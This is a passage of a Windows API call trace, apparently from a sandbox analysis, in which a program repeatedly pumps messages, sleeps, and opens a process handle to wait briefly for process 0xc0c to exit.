[0310.794] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.794] Sleep (dwMilliseconds=0x1) [0310.810] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x48d8 [0310.810] WaitForSingleObject (hHandle=0x48d8, dwMilliseconds=0xa) returned 0x102 [0310.826] CloseHandle (hObject=0x48d8) returned 1 [0310.826] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.826] Sleep (dwMilliseconds=0x1) [0310.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4914 [0310.841] WaitForSingleObject (hHandle=0x4914, dwMilliseconds=0xa) returned 0x102 [0310.856] CloseHandle (hObject=0x4914) returned 1 [0310.856] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.856] Sleep (dwMilliseconds=0x1) [0310.872] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4914 [0310.872] WaitForSingleObject (hHandle=0x4914, dwMilliseconds=0xa) returned 0x102 [0310.887] CloseHandle (hObject=0x4914) returned 1 [0310.887] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.887] Sleep (dwMilliseconds=0x1) [0310.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4914 [0310.912] WaitForSingleObject (hHandle=0x4914, dwMilliseconds=0xa) returned 0x102 [0310.918] CloseHandle (hObject=0x4914) returned 1 [0310.918] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.918] Sleep (dwMilliseconds=0x1) [0310.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4934 [0310.934] WaitForSingleObject (hHandle=0x4934, dwMilliseconds=0xa) returned 0x102 [0310.949] CloseHandle (hObject=0x4934) returned 1 [0310.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.949] Sleep (dwMilliseconds=0x1) [0310.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4934 [0310.965] WaitForSingleObject (hHandle=0x4934, dwMilliseconds=0xa) returned 0x102 [0310.980] CloseHandle (hObject=0x4934) returned 1 [0310.981] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0310.981] Sleep (dwMilliseconds=0x1) [0310.999] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4940 [0310.999] WaitForSingleObject (hHandle=0x4940, dwMilliseconds=0xa) returned 0x102 [0311.013] CloseHandle (hObject=0x4940) returned 1 [0311.013] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.013] Sleep (dwMilliseconds=0x1) [0311.033] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4980 [0311.033] WaitForSingleObject (hHandle=0x4980, dwMilliseconds=0xa) returned 0x102 [0311.052] CloseHandle (hObject=0x4980) returned 1 [0311.052] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.052] Sleep (dwMilliseconds=0x1) [0311.067] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4990 [0311.067] WaitForSingleObject (hHandle=0x4990, dwMilliseconds=0xa) returned 0x102 [0311.096] CloseHandle (hObject=0x4990) returned 1 [0311.096] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.096] Sleep (dwMilliseconds=0x1) [0311.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4990 [0311.106] WaitForSingleObject (hHandle=0x4990, dwMilliseconds=0xa) returned 0x102 [0311.121] CloseHandle (hObject=0x4990) returned 1 [0311.121] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.121] Sleep (dwMilliseconds=0x1) [0311.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49c8 [0311.137] WaitForSingleObject (hHandle=0x49c8, dwMilliseconds=0xa) returned 0x102 [0311.153] CloseHandle (hObject=0x49c8) returned 1 [0311.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.153] Sleep (dwMilliseconds=0x1) [0311.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49c8 [0311.169] WaitForSingleObject (hHandle=0x49c8, dwMilliseconds=0xa) returned 0x102 [0311.184] CloseHandle (hObject=0x49c8) returned 1 [0311.184] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.184] Sleep (dwMilliseconds=0x1) [0311.199] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49c8 [0311.199] WaitForSingleObject (hHandle=0x49c8, dwMilliseconds=0xa) returned 0x102 [0311.215] CloseHandle (hObject=0x49c8) returned 1 [0311.215] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.215] Sleep (dwMilliseconds=0x1) [0311.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49c8 [0311.231] WaitForSingleObject (hHandle=0x49c8, dwMilliseconds=0xa) returned 0x102 [0311.247] CloseHandle (hObject=0x49c8) returned 1 [0311.247] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.247] Sleep (dwMilliseconds=0x1) [0311.265] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49f0 [0311.265] WaitForSingleObject (hHandle=0x49f0, dwMilliseconds=0xa) returned 0x102 [0311.280] CloseHandle (hObject=0x49f0) returned 1 [0311.280] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.280] Sleep (dwMilliseconds=0x1) [0311.293] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49f0 [0311.293] WaitForSingleObject (hHandle=0x49f0, dwMilliseconds=0xa) returned 0x102 [0311.309] CloseHandle (hObject=0x49f0) returned 1 [0311.309] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.309] Sleep (dwMilliseconds=0x1) [0311.324] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49f0 [0311.324] WaitForSingleObject (hHandle=0x49f0, dwMilliseconds=0xa) returned 0x102 [0311.340] CloseHandle (hObject=0x49f0) returned 1 [0311.340] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.340] Sleep (dwMilliseconds=0x1) [0311.356] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x49f4 [0311.356] WaitForSingleObject (hHandle=0x49f4, dwMilliseconds=0xa) returned 0x102 [0311.372] CloseHandle (hObject=0x49f4) returned 1 [0311.372] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.372] Sleep (dwMilliseconds=0x1) [0311.390] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4a3c [0311.390] WaitForSingleObject (hHandle=0x4a3c, dwMilliseconds=0xa) returned 0x102 [0311.403] CloseHandle (hObject=0x4a3c) returned 1 [0311.403] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.403] Sleep (dwMilliseconds=0x1) [0311.420] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4a7c [0311.420] WaitForSingleObject (hHandle=0x4a7c, dwMilliseconds=0xa) returned 0x102 [0311.435] CloseHandle (hObject=0x4a7c) returned 1 [0311.435] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.435] Sleep (dwMilliseconds=0x1) [0311.450] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4aac [0311.450] WaitForSingleObject (hHandle=0x4aac, dwMilliseconds=0xa) returned 0x102 [0311.465] CloseHandle (hObject=0x4aac) returned 1 [0311.465] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.465] Sleep (dwMilliseconds=0x1) [0311.481] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4aac [0311.481] WaitForSingleObject (hHandle=0x4aac, dwMilliseconds=0xa) returned 0x102 [0311.497] CloseHandle (hObject=0x4aac) returned 1 [0311.497] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.497] Sleep (dwMilliseconds=0x1) [0311.514] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4aac [0311.514] WaitForSingleObject (hHandle=0x4aac, dwMilliseconds=0xa) returned 0x102 [0311.528] CloseHandle (hObject=0x4aac) returned 1 [0311.528] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.528] Sleep (dwMilliseconds=0x1) [0311.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4aac [0311.543] WaitForSingleObject (hHandle=0x4aac, dwMilliseconds=0xa) returned 0x102 [0311.559] CloseHandle (hObject=0x4aac) returned 1 [0311.559] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.559] Sleep (dwMilliseconds=0x1) [0311.578] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4aac [0311.578] WaitForSingleObject (hHandle=0x4aac, dwMilliseconds=0xa) returned 0x102 [0311.597] CloseHandle (hObject=0x4aac) returned 1 [0311.597] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.597] Sleep (dwMilliseconds=0x1) [0311.618] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4ad4 [0311.618] WaitForSingleObject (hHandle=0x4ad4, dwMilliseconds=0xa) returned 0x102 [0311.622] CloseHandle (hObject=0x4ad4) returned 1 [0311.622] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.622] Sleep (dwMilliseconds=0x1) [0311.638] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4afc [0311.638] WaitForSingleObject (hHandle=0x4afc, dwMilliseconds=0xa) returned 0x102 [0311.655] CloseHandle (hObject=0x4afc) returned 1 [0311.655] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.655] Sleep (dwMilliseconds=0x1) [0311.669] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b34 [0311.669] WaitForSingleObject (hHandle=0x4b34, dwMilliseconds=0xa) returned 0x102 [0311.687] CloseHandle (hObject=0x4b34) returned 1 [0311.687] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.687] Sleep (dwMilliseconds=0x1) [0311.703] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b58 [0311.703] WaitForSingleObject (hHandle=0x4b58, dwMilliseconds=0xa) returned 0x102 [0311.715] CloseHandle (hObject=0x4b58) returned 1 [0311.715] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.715] Sleep (dwMilliseconds=0x1) [0311.730] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b5c [0311.731] WaitForSingleObject (hHandle=0x4b5c, dwMilliseconds=0xa) returned 0x102 [0311.747] CloseHandle (hObject=0x4b5c) returned 1 [0311.747] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.747] Sleep (dwMilliseconds=0x1) [0311.762] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b5c [0311.762] WaitForSingleObject (hHandle=0x4b5c, dwMilliseconds=0xa) returned 0x102 [0311.777] CloseHandle (hObject=0x4b5c) returned 1 [0311.777] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.777] Sleep (dwMilliseconds=0x1) [0311.793] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b5c [0311.793] WaitForSingleObject (hHandle=0x4b5c, dwMilliseconds=0xa) returned 0x102 [0311.809] CloseHandle (hObject=0x4b5c) returned 1 [0311.809] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.809] Sleep (dwMilliseconds=0x1) [0311.826] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b60 [0311.826] WaitForSingleObject (hHandle=0x4b60, dwMilliseconds=0xa) returned 0x102 [0311.841] CloseHandle (hObject=0x4b60) returned 1 [0311.841] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.841] Sleep (dwMilliseconds=0x1) [0311.856] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4b9c [0311.856] WaitForSingleObject (hHandle=0x4b9c, dwMilliseconds=0xa) returned 0x102 [0311.874] CloseHandle (hObject=0x4b9c) returned 1 [0311.874] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.874] Sleep (dwMilliseconds=0x1) [0311.887] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4bd4 [0311.887] WaitForSingleObject (hHandle=0x4bd4, dwMilliseconds=0xa) returned 0x102 [0311.913] CloseHandle (hObject=0x4bd4) returned 1 [0311.913] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.913] Sleep (dwMilliseconds=0x1) [0311.923] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4bf0 [0311.923] WaitForSingleObject (hHandle=0x4bf0, dwMilliseconds=0xa) returned 0x102 [0311.936] CloseHandle (hObject=0x4bf0) returned 1 [0311.936] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.936] Sleep (dwMilliseconds=0x1) [0311.950] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c0c [0311.950] WaitForSingleObject (hHandle=0x4c0c, dwMilliseconds=0xa) returned 0x102 [0311.965] CloseHandle (hObject=0x4c0c) returned 1 [0311.965] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0311.965] Sleep (dwMilliseconds=0x1) [0311.986] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c0c [0311.986] WaitForSingleObject (hHandle=0x4c0c, dwMilliseconds=0xa) returned 0x102 [0312.004] CloseHandle (hObject=0x4c0c) returned 1 [0312.004] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.004] Sleep (dwMilliseconds=0x1) [0312.012] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c14 [0312.012] WaitForSingleObject (hHandle=0x4c14, dwMilliseconds=0xa) returned 0x102 [0312.028] CloseHandle (hObject=0x4c14) returned 1 [0312.028] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.029] Sleep (dwMilliseconds=0x1) [0312.044] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c14 [0312.044] WaitForSingleObject (hHandle=0x4c14, dwMilliseconds=0xa) returned 0x102 [0312.060] CloseHandle (hObject=0x4c14) returned 1 [0312.060] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.060] Sleep (dwMilliseconds=0x1) [0312.074] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c14 [0312.074] WaitForSingleObject (hHandle=0x4c14, dwMilliseconds=0xa) returned 0x102 [0312.093] CloseHandle (hObject=0x4c14) returned 1 [0312.093] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.093] Sleep (dwMilliseconds=0x1) [0312.106] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c14 [0312.106] WaitForSingleObject (hHandle=0x4c14, dwMilliseconds=0xa) returned 0x102 [0312.121] CloseHandle (hObject=0x4c14) returned 1 [0312.121] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.121] Sleep (dwMilliseconds=0x1) [0312.137] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c14 [0312.137] WaitForSingleObject (hHandle=0x4c14, dwMilliseconds=0xa) returned 0x102 [0312.153] CloseHandle (hObject=0x4c14) returned 1 [0312.153] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.153] Sleep (dwMilliseconds=0x1) [0312.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c50 [0312.169] WaitForSingleObject (hHandle=0x4c50, dwMilliseconds=0xa) returned 0x102 [0312.185] CloseHandle (hObject=0x4c50) returned 1 [0312.185] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.185] Sleep (dwMilliseconds=0x1) [0312.201] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4c9c [0312.201] WaitForSingleObject (hHandle=0x4c9c, dwMilliseconds=0xa) returned 0x102 [0312.216] CloseHandle (hObject=0x4c9c) returned 1 [0312.216] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.216] Sleep (dwMilliseconds=0x1) [0312.231] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4cdc [0312.231] WaitForSingleObject (hHandle=0x4cdc, dwMilliseconds=0xa) returned 0x102 [0312.272] CloseHandle (hObject=0x4cdc) returned 1 [0312.272] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.272] Sleep (dwMilliseconds=0x1) [0312.278] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.278] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.303] CloseHandle (hObject=0x4d14) returned 1 [0312.303] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.303] Sleep (dwMilliseconds=0x1) [0312.309] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.309] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.324] CloseHandle (hObject=0x4d14) returned 1 [0312.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.324] Sleep (dwMilliseconds=0x1) [0312.341] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.341] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.355] CloseHandle (hObject=0x4d14) returned 1 [0312.356] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.356] Sleep (dwMilliseconds=0x1) [0312.372] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.372] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.387] CloseHandle (hObject=0x4d14) returned 1 [0312.387] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.387] Sleep (dwMilliseconds=0x1) [0312.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.403] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.419] CloseHandle (hObject=0x4d14) returned 1 [0312.419] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.419] Sleep (dwMilliseconds=0x1) [0312.434] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.434] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.449] CloseHandle (hObject=0x4d14) returned 1 [0312.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.449] Sleep (dwMilliseconds=0x1) [0312.466] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.466] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.483] CloseHandle (hObject=0x4d14) returned 1 [0312.483] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.483] Sleep (dwMilliseconds=0x1) [0312.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.496] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.512] CloseHandle (hObject=0x4d14) returned 1 [0312.512] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.512] Sleep (dwMilliseconds=0x1) [0312.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d14 [0312.527] WaitForSingleObject (hHandle=0x4d14, dwMilliseconds=0xa) returned 0x102 [0312.544] CloseHandle (hObject=0x4d14) returned 1 [0312.544] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.544] Sleep (dwMilliseconds=0x1) [0312.560] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d40 [0312.560] WaitForSingleObject (hHandle=0x4d40, dwMilliseconds=0xa) returned 0x102 [0312.574] CloseHandle (hObject=0x4d40) returned 1 [0312.575] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.575] Sleep (dwMilliseconds=0x1) [0312.592] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4d8c [0312.592] WaitForSingleObject (hHandle=0x4d8c, dwMilliseconds=0xa) returned 0x102 [0312.607] CloseHandle (hObject=0x4d8c) returned 1 [0312.607] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0312.607] Sleep (dwMilliseconds=0x1) [0312.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x4dcc [0312.621] WaitForSingleObject (hHandle=0x4dcc, dwMilliseconds=0xa) returned 0x102 [0312.637] 